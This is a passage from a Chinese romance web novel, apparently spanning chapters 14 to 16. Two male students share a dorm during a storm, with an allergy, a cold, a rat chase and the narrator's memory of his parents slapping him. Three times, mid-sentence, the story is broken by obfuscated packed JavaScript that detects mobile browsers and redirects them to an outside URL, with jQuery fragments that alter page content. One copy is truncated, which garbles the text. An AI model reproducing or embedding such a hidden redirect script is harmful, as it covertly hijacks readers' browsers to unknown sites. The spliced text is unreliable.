拉开门,雨点已经打到了脸上,崔词意的脑袋和后背也都被雨打湿了不少,他赶紧把他拉进门,有点恨自己反应这么慢,然后马上关门关窗拉窗帘,把凑热闹的目光和风雨都阻绝在门外。 斐然忙活这些的功夫,崔词意已经把沾了雨水的外套脱了,他里面只穿了一件黑色印花底纹衬衫,薄薄的,扎进长裤里,宽肩窄腰一览无余。 他把手里拎的保温饭盒顺手放到桌上,也没等斐然叫坐,就半躺半坐到了斐然新买的懒人沙发上——俗称,瘫坐,像以往一样的大爷坐姿,还伸了个懒腰。 “叫阿姨做了暖胃汤和营养餐给你,现在有胃口吗?” 他说话也总是一副懒洋洋的腔调,也不知道是什么把他累到了,平时连烟都不自己点。 斐然关完门窗,冲崔词意露出一个略微腼腆的笑脸,“正好饿了,谢谢小意。” 关门关窗之后,单人宿舍的空间显得更狭小了,崔词意的姿态又太放松,斐然感觉他可以跟他更亲近一点,于是大胆叫了一个亲昵的称谓。 宿舍的灯不算明亮,斐然好像看到崔词意脸上有一丝不好意思,但很快他又若无其事地说:“不用跟我客气。” 能吃得下饭,看来应该好点了,崔词意心想。 “一起吃点吗?” 崔词意啧了一下,“这是病号餐,我又不是大馋鬼。” 你何止不是大馋鬼,你上辈子应该是撑死的,不然怎么吃什么都是一副鬼表情。 啧,又犯口舌罪了。 斐然在椅子面前坐下,总感觉好像忘了什么,左右看了一眼,书籍、杂物都摆放得十分整齐,没什么毛病。 直到,他顺着崔词意的目光看到了,墙上的崔词豆靓照! 一瞬间冷汗差点下来,在墙上贴人家宠物的照片,怎么解释都有点变态。 可一转头,发现崔词意竟露出了十分熨贴的表情,看着他的目光充满了欣赏,好像在夸他有眼光。 看起来他十分欣慰于崔词豆已经受斐然喜爱到当宿舍海报的程度,然后他就打开了话匣子,拿着手机举到斐然面前,献宝一样数着家珍,“我家里还不止有崔词豆,还有老一老二老三……” 斐然定睛一看,我去,还有崔词一,崔词二、崔词三…… “老一有10岁了,是我养的第一只,小时候经常跳来跳去,现在不太爱理人了,像个老爸爸一样……” 崔词意就如同找到了知己一般,兴致勃勃地划着手机里的图片,一张张地跟斐然分享守宫们的名字年龄性格事迹。 斐然就着这些图片和崔词意的解说,食不知味地吃着嘴里本应该是美味的营养餐,一边讪笑着说:“都好可爱,我已经迫不及待跟这些小家伙们见面了,什么时候让我们互相认识认识?” 崔词意思考了一下,说:“那我要先打扫一下他们的屋子,收拾干净才好意思见人。” 据崔词意介绍,崔词一是老大,正如其名是真的已经老大不小了,小脸上呈现出几分老壁虎的疲态,皮肤黄澄澄的,像一只长条扁状柠檬,崔词二,一个异形砂糖橘,橙得有些泛红,盘起来就跟几瓣砂糖橘皮似的,还有崔词三,斐然都不想提这个崔词三,绿油油的还大张着个血盆大口,天知道那句‘都可爱’斐然费了多大力气才说得出口。 除此之外,还有许多许多,崔词豆是当中年纪最小的,也最不怕生。 说着说着,崔词意忽然“嘶”了一声,挠了挠脖子。 “怎么了?” 斐然扒开他领口一看,他身上起了一些红红的疹子,后背也有。 “痒。”崔词意说。 斐然第一时间想到的是过敏,“会是过敏吗?今天有吃什么平时不吃的东西?” 崔词意摇头,坐立难安的,显然有些难受,斐然又掀起他的衬衣下摆检查,发现从后颈到屁屁都有,但前面的腹肌没有,胸肌也没有,再往下……崔词意拨开他的手,不给他看前面往下的位置了。 这个过敏位置……那张沙发! 想到这,斐然赶紧把崔词意扶到床上,给他盖上被子,“你等等,我去借个药膏回来帮你止止痒。” 外边风大雨大,斐然开门也只开了能容身的缝隙过去,走廊被老天泼得都是水,他只能冒雨去找别人借药膏,顺便找李田田查清情况。 但奇怪的是,李田田的没问题,花臂的也没问题,他还经常打赤膊躺在沙发上,对此,两人都觉得很神奇,斐然借到一管崭新的止痒药膏后,这两人便跟着进来研究斐然的沙发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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斐然真是谢谢他没让崔词三当表情包常客,那家伙简直长得太像有毒壁虎了。 斐然摸摸崔词意的后背,摸到一点汗湿,看来他挺热的,摸到遥控器想开空调,空调却不灵了。 斐然:“热吗?” 崔词意:“热。” 斐然叹一口气,不问他永远不说。 斐然想想说:“你先去洗个澡吧,洗完回来我帮你涂药,我去借个电风扇。” 崔词意看一眼手机,还挺晚了,带着这一身回去估计要兴师动众了,不如在斐然这里挤挤,于是“嗯”了一声。 斐然的衣服对崔词意来说是不合身的,斐然干脆只给了他一条浴巾,等崔词意洗完澡出来,斐然已经把小电风扇插好电了,放在床边给崔词意吹。 崔词意上床,盖被,躺平。 斐然坐在床边,拍拍他手臂,“宝宝翻个面。” 崔词意瞥他一眼,重复了一句:“宝宝?” 从小意喊到宝宝,真够肉麻的。 斐然清咳一声,“不要在意这些细节,赶紧上药吧,你不痒吗?” 崔词意哼了哼,一个翻身,连被子也压在底下,露出宽阔结实的背,光/裸的脊背上,两条蝴蝶骨锋利又漂亮,整副身躯只在下半身围了一条浴巾。 活色生香,不外乎如此。 斐然的呼吸都轻了,伸手用圆顿的指甲往他背上的红点按,一触及到他的体温,就感受到他的身体一颤。 两个人都没有再说话。 电动风扇呼呼转着风,发出不小的噪音。 纤长的手指温柔又不失力度地抚过每一寸肌肤,极缓慢地,感受着他身体传来的每一个反应。 手底下的体温逐渐升高,斐然的掌心出了汗,他想为他的口舌赎罪。 “崔词意。” 他连名带姓地叫他,他记得他不喜欢肉麻的。 崔词意把脸埋在枕头里,听到斐然叫他,便抬起头看。 滚烫的唇随之覆上他的,碾压他的,搅浑他的,将口中的津.液渡给他,又抢夺他的。 一家高档餐厅里,崔词慧盯着被崔词意抓壮丁来冒名顶替的陈衡,问:“人呢?” 这是闻殊新开的店,今天说好要携弟来帮好闺蜜试菜的,但有个不靠谱的人已然爽约。 陈衡摸摸鼻子,“谁知道呢。” 15. 富人真好杀 这是他们的第二次亲吻,不像第一次那么手忙脚乱,也不像第一次那样大脑一片空白,只知道凭本能去攫取,这次斐然有了经验,在抚摸崔词意时有意克制了自己下手的力度,讲真要做到这一点还是蛮有难度的,因为手感实在太好,如果可以选择死法那他愿意被崔词意用大腿夹死。 白皙的大手在光/裸的背上抚摸着,安静的宿舍里回响着亲吻声,崔词意也没再推开他,煞风景地说什么你跟我有仇吗的傻话,而是闭着眼,安静享受。 “如果邪恶——是华丽残酷的乐章!” 煞风景的声音还是出现了,这是隔壁花臂洗澡时的每日魔音放送,准时准点,每次唱到邪恶的恶字,都如同被掐住了脖子。 短短一句就已经听得崔词意瞳孔地震,往左边的墙壁转头,错开了嘴巴,被斐然握住脖子扭回来,啄了一下嘴角,哑着嗓子说:“专心点。” 然后又继续亲。 “如果再见不能红着眼——” 往往这时候,李田田就会唱起匆匆那年跟花臂打擂台,这位也是重量级,喜欢捏着嗓子硬/顶/上从未属于过他的高音领域。 这俩卧龙凤雏双双亮嗓,崔词意实在忍不住笑了,这下被闹得氛围全无,斐然只好放开握住他脖子的手,无奈作罢。 “他们这种症状多久了?”崔词意问。 “足足有一个学期。” 斐然答完,很快站起身。 崔词挪动着让了个身位出来,拍拍床边,“你不睡吗?” “我先去把衣服洗了。” 斐然到阳台外边,把崔词意换下来的衣物手洗了,再放到洗衣机烘干,至于有洗衣机为什么手洗,因为他需要冷静一下。 在阳台搓了半小时的衣服,才堪堪平息躁动的心情和部位。 回去的时候崔词意已经睡着了,把被子裹得紧紧的,眉头微皱,好像又有点觉得冷了。 斐然把风扇和灯关了,侧躺到崔词意旁边,面对他,看了他很久。 单人床,两个大男人挤在一起不免身体相触,斐然的被子对崔词意来说还是有点薄,崔词意便主动抱了过来。 斐然无声地笑了笑,也回抱他。 第二天一早,斐然的生物钟已然把他叫醒,他从不用闹钟,睁开眼却破天荒地有点想赖床。 崔词意趴在他身上,睡得正香,胸膛随着呼吸一起一伏。 斐然想摸摸他的背,手掌却无意抓住温热柔软的一团丰润,天,他的浴巾跑哪去了! 斐然的呼吸一乱,顿时把崔词意给惊醒了。 崔词意睁开眼,茫然地看了斐然一眼,从他身上坐起来,发呆,不一会儿,又趴下醒觉,只是往上挪动了一下,换了个更舒服的位置,不至于被他硌到。 斐然摸着他的脑袋,细碎地吻他的侧脸,问:“饿吗?” 崔词意不答,斐然兀自吻了他一会儿,越吻呼吸越重,只好把他推到身侧,赶紧起身了,他不能再跟他躺同一张床上了,不然他也不知道自己会做什么,到时候可别被崔词意一拳打死。 虽然他的乖孩子对他没什么防备,但君子有所为有所不为。 主要还是怕被崔词意一拳打死。 这就是做君子的诀窍,不敢做的事,那就不要做,还能博得一个虚名,何乐而不为。 斐然拉开储物柜,拿出一袋面包和一瓶牛奶开始啃,想想,又备了一份在桌上给崔词意,先给他垫垫肚子。 等他吃完洗漱出来,崔词意已经穿好昨夜晾干的衣服,坐在书桌前开始啃面包了。 这次,他沉默得格外久,可以说吃一口就要缓一下,面上生无可恋,斐然实在不忍心,一把夺走面包,自己吃了,然后说:“你等等吧!我叫他们帮忙领了食堂早餐。” 崔词意不置可否,随手拿起斐然桌上的专业书翻开看,那表情看着特别好玩,像第一次认字儿。 李田田领完早餐回来,从窗户递给斐然一份,就回自己宿舍吃去了,可还没吃两口,隔壁宿舍的大宝贝又出事了,这次斐然来借的是感冒药,赶紧捧着饭盒跟过去看看,得,睡王子又生病卧床了。 这一次斐然显然因为自责有些沉默,应该是他的被子太薄了才导致崔词意生病的,而且他摸到他偏高的体温还以为是因为他情动,就没想太多。 刚才斐然刚给他打开早餐盒子,味道一出来,崔词意还没吃就干呕了,但只吐出了酸水。 吐完之后他就躺床上闭着眼睛不动,胸膛不见起伏,斐然吓得跌坐在他床边,颤抖着手探了一下他的呼吸,然后抬头就看到一双笑眼,崔词意憋气许久,笑得呼出一大口气在他手上。 又吓人,斐然本想拧他的耳朵,可见他脸色还苍白着,遂摸了摸他的脸,却发现他的额头滚烫,这是着凉了。 斐然的脸色黯然,心情一下子低到谷底,是他没照顾好他。 “其实我昨天在家就感冒了。”崔词意忽然说。 斐然鼻子一酸,坏东西,还知道撒谎了,你不是一向都很迟钝吗!怎么生病还把责任揽自己身上了。 “真的。”崔词意又强调了一遍。 斐然转过头去,不让他看表情,就算是真的,他生病了也还冒雨来看他这个假生病的,让人愧疚到不知道说什么好了。 李田田弄清事情过程后,看了一眼手中的早餐,挑出其中的一根卷曲的钢丝球残渣,弹飞,再默默地往嘴里勺了一口,对斐然说了一句:“有钱人真好杀。” 斐然没有什么心思开玩笑,冲了温水给崔词意服药,对他说:“你开车来的吗?我送你去医院。” 崔词意感觉还好其实,他身体底子好,感冒的症状一向不严重,干脆就把被子一蒙,睡觉不理人。 斐然想摇醒他,但又不想打扰他休息,就守在他身边。 崔词意中途发信息叫陈衡来送病号餐,连斐然的份一起,斐然拿的时候,陈衡还一言难尽地看了他一眼。 他在你那连饭都吃不好。 斐然理解他的意思,也明白,他在崔词意的朋友和家人那里,崔词意好,他就还有呼吸权,崔词意不好,他们可就要上嘴脸了,斐然道了声谢,不再多说。 中午饭是斐然喂他吃的,然后斐然发现一件很诡异的事情,他吃家里的饭菜,也是一副鬼样。 这让斐然感觉十分迷茫,不禁问道:“你觉得好吃吗?” 崔词意的回答依旧是沉默。 斐然:“你有爱吃的东西吗?” 崔词意:“……” 斐然:“说话!” 崔词意:“水果。” 斐然追问:“什么水果。” 崔词意:“……” 斐然面无表情地盯着他。 他才说:“都行。” 斐然:“……” 吃完饭,崔词意又吃了点药去睡觉,斐然就到书桌前写期刊论文,不过今天他的效率实在有点低,他要时不时去床边去看看病号。 一觉睡到晚上,崔词意又生龙活虎了,悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154693|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄跑到书桌前专注敲键盘的斐然身后,一把搂住他的脖子,低头看看他在写什么天书。 斐然早就听到他的动静了,伸手摸他的额头。 “好点了吗?” “嗯。” 斐然亲了他一口,“睡不着就玩会儿手机,我一会儿就陪你。” 崔词意看着认真写论文的斐然一会儿,烟瘾犯了,自觉地跑到阳台上,关上阳台门,点了根烟。 隔壁阳台有个人朝他“嗨”了一声,崔词意转头看,认得他是斐然的花臂学长,微微点头,又继续看回远处。 花臂搓搓手,有点小激动,大进展啊,平时崔词意看见他就跟看见空气一样,现在还点头打招呼了,这还得了,撬斐然墙角那不是指日可待。 没错,斐然是漂亮,也有点小才华,但没用,斐然这八字就不好,有点子霉运在身上的,不然崔词意好不容易来一趟,怎么又是过敏又是感冒的。 OMEGA只要擦亮眼,就知道嫁人还得是嫁他这种有福气的,丑虽丑,却有用嘞。 隔壁赶论文的斐然眼皮突然跳了跳,据经验,又有小人在背后说他坏话了,反弹。 花臂想得正美呢,忽然余光瞄到脚下有一个小黑影掠过,在他的洗脸盆里转了一圈,又跳出来直冲他的脚面。 花臂尖叫一声,整个人叮铃哐啷跳起来,“啊!啊!啊!有老鼠!我最怕老鼠了,救命啊!” 热心学弟李田田从崔词意的右边阳台探出了头,抄起一个长柄网兜,隔空喊话“学长别怕,我来了!” 而他可怜的学长已经跑进了宿舍里,没有听见他的豪言壮语,自顾自地害怕,“啊啊啊你不要跟着进来啊!” 崔词意在中间,莫名看了一场热血大戏,笑了几声,叼着烟出去看热闹。 斐然一向是对这种事情不感兴趣,看崔词意出去了,就先保存好数据,跟着出去了。 花臂的宿舍外已经聚集了不少人看热闹,七嘴八舌地添乱。 “从侧边堵它。” “快快快,它要跑了。” “卧槽我得先关好门。” 人一多,老鼠也慌啊,慌不择路地朝斐然的宿舍冲了过去。 斐然也有些慌了,他的房间一向收拾整齐,没有对付这种东西的经验,“别进来!” 千钧一发之际,崔词意轻轻一伸脚,神色淡定地踩住老鼠的尾巴根,精准而优雅,轻轻松松就把老鼠定在了原地,挣脱不得。 “漂亮!”李田田拿着网兜,一把罩在老鼠头上,众人喝彩。 等崔词意松开脚,李田田便上去一脚踩扁,配合得相当默契,老鼠卒。 “好!帅!” 众人喝彩间,崔词意已经挥挥衣袖,在斐然感动又崇拜的眼神中,帅气潇洒地走回了宿舍里,斐然马上关上门,因为他准备好好感谢他。 花臂眼角挂着泪水,拿了垃圾铲和扫把,来清理现场,李田田奇怪地看着他:“有这么脆弱吗?这不是搞定了。” 花臂自嘲道:“呵呵,被心上人帮着抓宿舍里的老鼠,这辈子都不可能再有机会被他爱上了。” 在他眼里我肯定很不讲卫生。 李田田张了张嘴巴,迟疑地说:“就算没有这只老鼠,你的机会也不大其实。” 甚至可以说是0。 花臂不愿承认,强行挽尊:“你懂什么?” 不怪老鼠难道怪我自己啊? 垃圾铲里扁扁的老鼠表示:鼠鼠我呀,是被冤枉死的。 16. 斐然的往事 打老鼠风波过后,斐然在宿舍里单独鸣谢了崔词意,用嘴巴——当然了。 不然还用手吗? 手也没闲着。 嘴巴鸣谢完,两人坐在床边,见崔词意有些不好意思,斐然又夸他:“小意你好厉害,还会抓老鼠。” 重点是姿势也很帅,手还插着裤袋,小装一手。 崔词意哼哼笑了两声,“这有什么难的,我还抓过毒蛇。” 说着他还拿食指和拇指比划着,往前一挥手臂,虚抓一下,还原了当时抓蛇的英姿。 不知道为什么,斐然下意识地闪身,崔词意瞅了瞅他,开起了他的玩笑:“干嘛,你要现原形啊?” 你要这么说,那我可就真变身了啊。 斐然转头背对他,忽的一个回头,眼睛睁得大大的,盯着崔词意看,天空正好劈下一道雷加闪电,亮光在斐然白皙的脸上一晃,还真有些诡艳。 崔词意大吃了一惊,“你什么时候收买了上面?” 说来你可能不信,我也不知道。 但不妨碍斐然装比,他云淡清风地一笑,“这下你知道我的厉害了,要是不听话……” 崔词意扬眉:“那咋地?你要吓死我呀?你试试?” 连用三个反问句挑衅,你小子,够嚣张的。 越嚣张斐然越想跟他亲热,欺身上去,“不吓你,压死你。” 崔词意一开始没防备,就被他按倒压在了身下,脸部着床,脸颊肉被挤得扁扁的,发出了呱的一声,差点让斐然破功。 崔词意伸手出来反抗,斐然便捉着他的手跟他玩闹了起来。 天边的雷声越来越频繁,一道又一道的闪电,雨声也震耳欲聋,今晚是大暴雨。 两人在床上打闹着滚了几下,床铺发出令人尴尬的嘎吱嘎吱声,便都心虚地停下了动作,明明啥也没干,就是心虚,还好雨下得大。 互相对视一眼,斐然先在他脸上亲了几口,再在他胸口上轻轻拍一下,“洗澡去!” 斐然等他洗完,再去洗,然后又把两人的衣服一起洗了,烘干挂好。 崔词意又披着他那条浴巾,清凉地坐在桌前,鼓捣着电脑网页,他想看电影。 不知道他们音乐系的是不是都不怎么用电脑,崔词意划动鼠标的样子颇有一丝笨拙感,鼠标慢慢移到哪,他的眼睛才看向哪。 斐然从柜子里拿备用的薄被给他披上,今早洗了烘干的,今晚可以盖两层被子。 暴雨天很适合看电影,如果还有一瓶上等的红酒就好了,崔词意心情很好地在网页上慢慢挑选。 “想不想躺床上看?”斐然问他。 “嗯?”崔词意不解。 斐然扔下一句“等着”,就出了门,又去找他的万能邻舍们爆金币了。 李田田跟花臂在走廊上吹水呢,一看见他出门就有点害怕了,下意识地往屋里瞧,“又怎么了?感冒严重了?” “那倒没有。” 斐然也不多说,不一会儿借了个投影仪回来。 花臂酸酸地说:“哎呦呦,还看电影呢?人什么好东西没看过,就别暴露你那约等于0的艺术审美了。” 花臂说这个,倒不是纯骂,因为他跟斐然合作过一个前端开发项目,此人可以说是天生与艺术绝缘,平面审美堪称不忍直视,音乐表演也经常看到他打瞌睡,花臂不觉得他会在电影艺术上有什么造诣,正好让崔词意看看他的笑话,哼。 回到宿舍里,崔词意估计是选电影选烦了,搁那乱翻斐然的书,跟扇扇子似的,快速翻过一页页,有时停下来用他的单眼怼上书本,研究一下斐然的笔迹。 斐然失笑,由着他淘气,开始安装投影仪。 给书本扇扇子,竟然还真给崔词意挖到宝了,他突然从书里抽出了一张折叠的黄色网格作业纸,小学生用的那种。 上面还有字,崔词意如获至宝,因为这屋里所有的书崔词意都只看得懂人名,这下好不容易来张能看懂的。 因为年代久远,这张作业纸和上面的字迹都轻飘飘的,仿佛一捏就碎。 崔词意仿佛考古学家,用四根手指小心翼翼地展开,抚平。 这是一篇作文,叫《橱窗里的红舞鞋》,作文很短,字迹也很稚嫩。 斐然很快搞定了投影仪,正要转身叫崔词意,却听到了一句字正腔圆的朗诵。 崔词意:“橱窗里的红舞鞋,妈妈年轻的时候,曾遇到过一双红舞鞋……” 斐然无奈,他都不记得这是他小学几年级的作文了,念出来怪让人脸红的,但是看崔词意兴致勃勃的,他也没有阻止他,只是坐下来,安静地笑着听他朗诵。 他的声音很好听,也许琴拉不动了做个歌唱家也不错。 还有那双红舞鞋,那是很久很久以前的事了。 “那双鞋摆在橱窗里,红色,鲜艳的红色,模仿舞鞋的设计,却并不柔软,亮面光滑的皮革,看上去锋芒毕露,她至今记得标牌上它的名字是ruby,红宝石,正如它的名字,它很昂贵,适合它的场合一定很隆重,她想,等她毕业之后再买吧,在毕业典礼上穿,但典礼那天她没有穿;等结婚之后再买吧,在婚礼那天穿,但婚礼那天她也没有穿,然后她的孩子一天天长大,她想不出理由去穿上那双红舞鞋了,如果,当初能鼓起勇气试一试就好了,也许就不会那么遗憾了。” 崔词意念完,忽然说:“现在也可以买一双,红色的鞋子不需要隆重的节日,只要那天觉得开心就好了。” 斐然告诉他:“那双鞋已经停产很多年了。” 这一份能链接家人内心的情感,也很多年不曾有了。 崔词意感到有些可惜,但是又不知道自己在可惜什么,他不够敏感。 斐然给他倒了一杯水润嗓子,然后拍拍床说,“过来吧,朗诵家,该看电影了。” 这是斐然第一次看电影,初高中的学生时代,也有老师会在课上放电影,他都在心无旁骛地做练习题,一眼都不带看的,教室灯关了,看不见习题册,他就用学习通刷电子题。 枪战片太吵闹,他便到门口去蹲着刷题,任凭东西南北风,他自不动如山。 还真被花某人说对了,崔词意选电影没有耐心,就随便挑了一部封面好看的,两人并排坐在床上看投影出来的画面,斐然就差倒头就睡了。 看封面看不出来,原来这是一部国外的亲情片,很感人很温馨,崔词意看得还挺入戏,突然脖子前的吊坠感觉被人拽了拽,转头看到斐然甚至在拿他的护身符做研究,便叹了口气。 这个人还真是一点艺术细菌都没有。 不过他偏要请斐然发表观后感,为难他一下。 斐然想了想,选了个讨巧的角度,没看剧情也能辩出一二三四来。 斐然:“国内和国外由于思维方式和社会观念的不同,他们的亲情故事没有很能触碰到我,我跟父母关系最好的时候,也没有这么自然地亲近过,不管是挂在嘴边经常脱口而出的I LOVE YOU,还是精心准备的节日礼物、生日蛋糕等,这些都离我的生活很远。” 崔词意:“你跟你父母现在关系不好吗?因为什么?” 崔词意问完,忽然又觉得不太礼貌,有点不好意思地说:“我可以问吗?” 斐然看着他,浅浅地笑了一下,“当然可以。” 因为为什么?在心里想的时候,零零总总可能话长,但斐然又是一下子想起的,那段让关系结冰的记忆节点。 “因为一个耳光。”斐然平静地说。 不记得是初中什么时候,也不记得是什么竞赛了,只记得第一名奖金有一万块,会得到一枚金灿灿的奖牌。 一向无往不利的斐然,这次失利了,只拿了第二名,那枚奖牌挂在了别人的脖子上,很俗套的剧情。 那天斐然也生病了,发烧引发的剧烈头痛,以及种种不适让他不停流着冷汗,每走一步都头晕目眩,每一口呼吸都像酷刑,他老师很担心,建议他放弃,比赛总会有,但他还是硬扛着上了赛场。 哪怕他现在疼得想满地打滚,他也要上赛场,这是属于他的荣誉,这笔钱也可以很大程度地缓解家庭目前的一些窘迫。 竞赛结果是当场出来的,斐然输给了一个名不见经传的小喽啰。 可笑。 生病又如何,他不觉得自己会输给他。 因生病模糊的视线中,他看到,看到父母阴沉的脸,几乎是冲上来的身影,责问的字眼像连珠炮弹一样扔到他的脸上。 “怎么会输?” “怎么这都输了?” “明明这么简单的事情,你用过多少心思,啊?” “是不是偷偷玩手机了?拿出来,拿出来!” 斐然被他们推搡着,垂眸面无表情地站在原地,他的老师和同学们赶紧奔过来,上前挡在斐然面前,现场一片混乱。 老师:“家长,你们冷静一下好吗,斐然他已经做得够好了,带病上场谁都……” 女人急促密集的嗓音鼓噪着每一个人的耳膜,“生病,生病不是理由!学校里大他一届的,那个楼小凡,脑瘫都能考满分,他脑瘫吗?还是早就想好给自己找什么借口了?” 男人说:“王老师你,不是我说你,你能带出那么多个冠军,我们家斐然是有多笨?为什么偏偏这次他不能?” 王老师都气笑了,“孩子他爸,您也知道只是这次啊?孩子生病了还不赶紧带他去医院!” 女人说:“还是你们暗箱操作了?不行,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154694|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们现在走了就没证据了,谁叫我们走谁就是帮凶!” 终于说到重点了,斐然麻木地想。 王老师的学生们和家长们看不过眼,议论纷纷:“哪有这样当爸妈的,儿子生病都不关心,就知道在这里吵名次。” 男人说:“谁在说话?是不是你,林枫你自己成绩差就不要老是扒着斐然不放,自从他跟你同桌成绩都下降了,他跟你学坏了多少,说,他的手机是不是你帮买,是不是你给藏的?藏到哪了?” “那让他自己一个人坐好了,到时候成绩下降看你们还能怪谁。” “扒着他不放?谁还敢靠近他?谁经得起你们天天盘问啊?两个老登!” “说王老参与师暗箱操作,拿出证据来,不然你们就是造谣!” 他的同学,他的老师,还有他自己,都被用手指着鼻尖骂了一圈,终于引起了群情激奋,他的好爸妈脸上终于挂不住,直接转换了战场,怒气冲冲地拉着王老师去校长办公室讨个说法。 事情却在此刻迎来戏剧化的转折。 金灿灿的奖牌挂在趾高气昂的小脑袋上,涂了精致美甲的手掌摸了摸他的头顶,校长在他们的豪车面前,不说点头哈腰,也是毕恭毕敬。 那辆车不是有钱就能买的,还得有权势,小县城的人都认识。 天哪,看看不远处那对气急攻心的父母,好像突然就冷静下来了,说要带孩子去看病。 斐然不动,他用浓浓的鼻音说:“爸妈,就是他们在暗箱操作,抢了我的第一名,快去呀,不然等会儿就没证据了。” 平时他们对斐然、对斐然的同学、老师有多不依不饶,此刻就有多露怯。 斐然还在不停地催促他们。 他反倒成了不依不饶的那个人。 “爸、妈,怎么了,快去啊?” 斐然不断重复着,他的声音像是在笑,他知道,他们是不敢为他出头的。 女人注意到,一旁被他们拉着不放的,一向和善好欺负的王老师眼里似乎也带上了嘲讽。 斐然闹出的动静几乎要引起那边和乐融融的一行人的注意。 男人怒喝道,“别叫了。” 伴随着一声清脆的耳光。 斐然抬头,顶着脸上的巴掌,目光灼灼地看着他们,直到他们不堪忍受,僵硬地走开。 临走前,像是自言自语地说:“要是你拉开的差距足够大,又怎么会……” 会如何?斐然没听到了。 你们也不过如此。 那天王老师带斐然去挂了号输了液,然后他自己在医院附近的便利店,买了一个面包吃,难吃,却感觉心情还不错。 他再也不会满怀愧疚地吃那份只为他精心准备的三菜一汤了。 斐然讲述时很平静,却感觉到,崔词意在用力握着他的手,还一个忍不住,就把他的脑袋抱在了怀里。 斐然在他柔软的胸膛上使劲蹭了蹭,感觉很温暖。 崔词意笨拙地安慰他:“你妈妈辜负了你,你能理解她的心事,她却不能,还有你爸爸,他最不应该,欺软怕硬,只会挑选最弱小的你下手。” 他的看法有一些天真,但却很能给到斐然安慰。 要知道,想安慰受过伤的人是并不是一件容易的事,毕竟没有经历过同样的事情,总是很难感同身受,而他看似顽劣,实际上却被教养得很好,很符合斐然对他的第一印象。 斐然从他胸肌上把脑袋拔下来,快喘不过气了,“谢谢你的安慰,其实我也不是很弱小。” 崔词意又把他摁回了胸膛里,因为他也感觉很不好受,抱着斐然的头,像哄小宝宝一样哄他,能让自己稍微好受点。 有些话,崔词意可能还不能理解,斐然也不想让他理解他真正的窘迫不堪:一切都是因为穷。 那些年挣扎求生的日子,不仅是他的父母怨天尤人,冲动易怒,他其实也是冷漠阴郁,事事锱铢必较地算计。 这些年,没有了生存和还债的压力,他的心态变得平和了许多,开始试着交朋友,不带目的性地说话,还有那个一开始以为很难实现的目标——组成一个美好的家庭,似乎已经达成了一小半。 如果有人知道这段往事,再去家乡见到他的父母,就会发现,他们现在是出了名的和善夫妻,成日乐呵呵的,把知足常乐挂在嘴边,看到因为成绩不好当众打骂孩子的,他们甚至会义愤填膺,满嘴家庭教育需要跟孩子沟通,他们跟斐然说话时,总是慈祥中带着亲切。 有了钱,有了安稳,他们便不再面目狰狞。 斐然跟他们也相处得一派和气,好像当初那些隔阂都不存在了。 过去的事情,真的已经过去了。 他要抓住他的未来,一定要。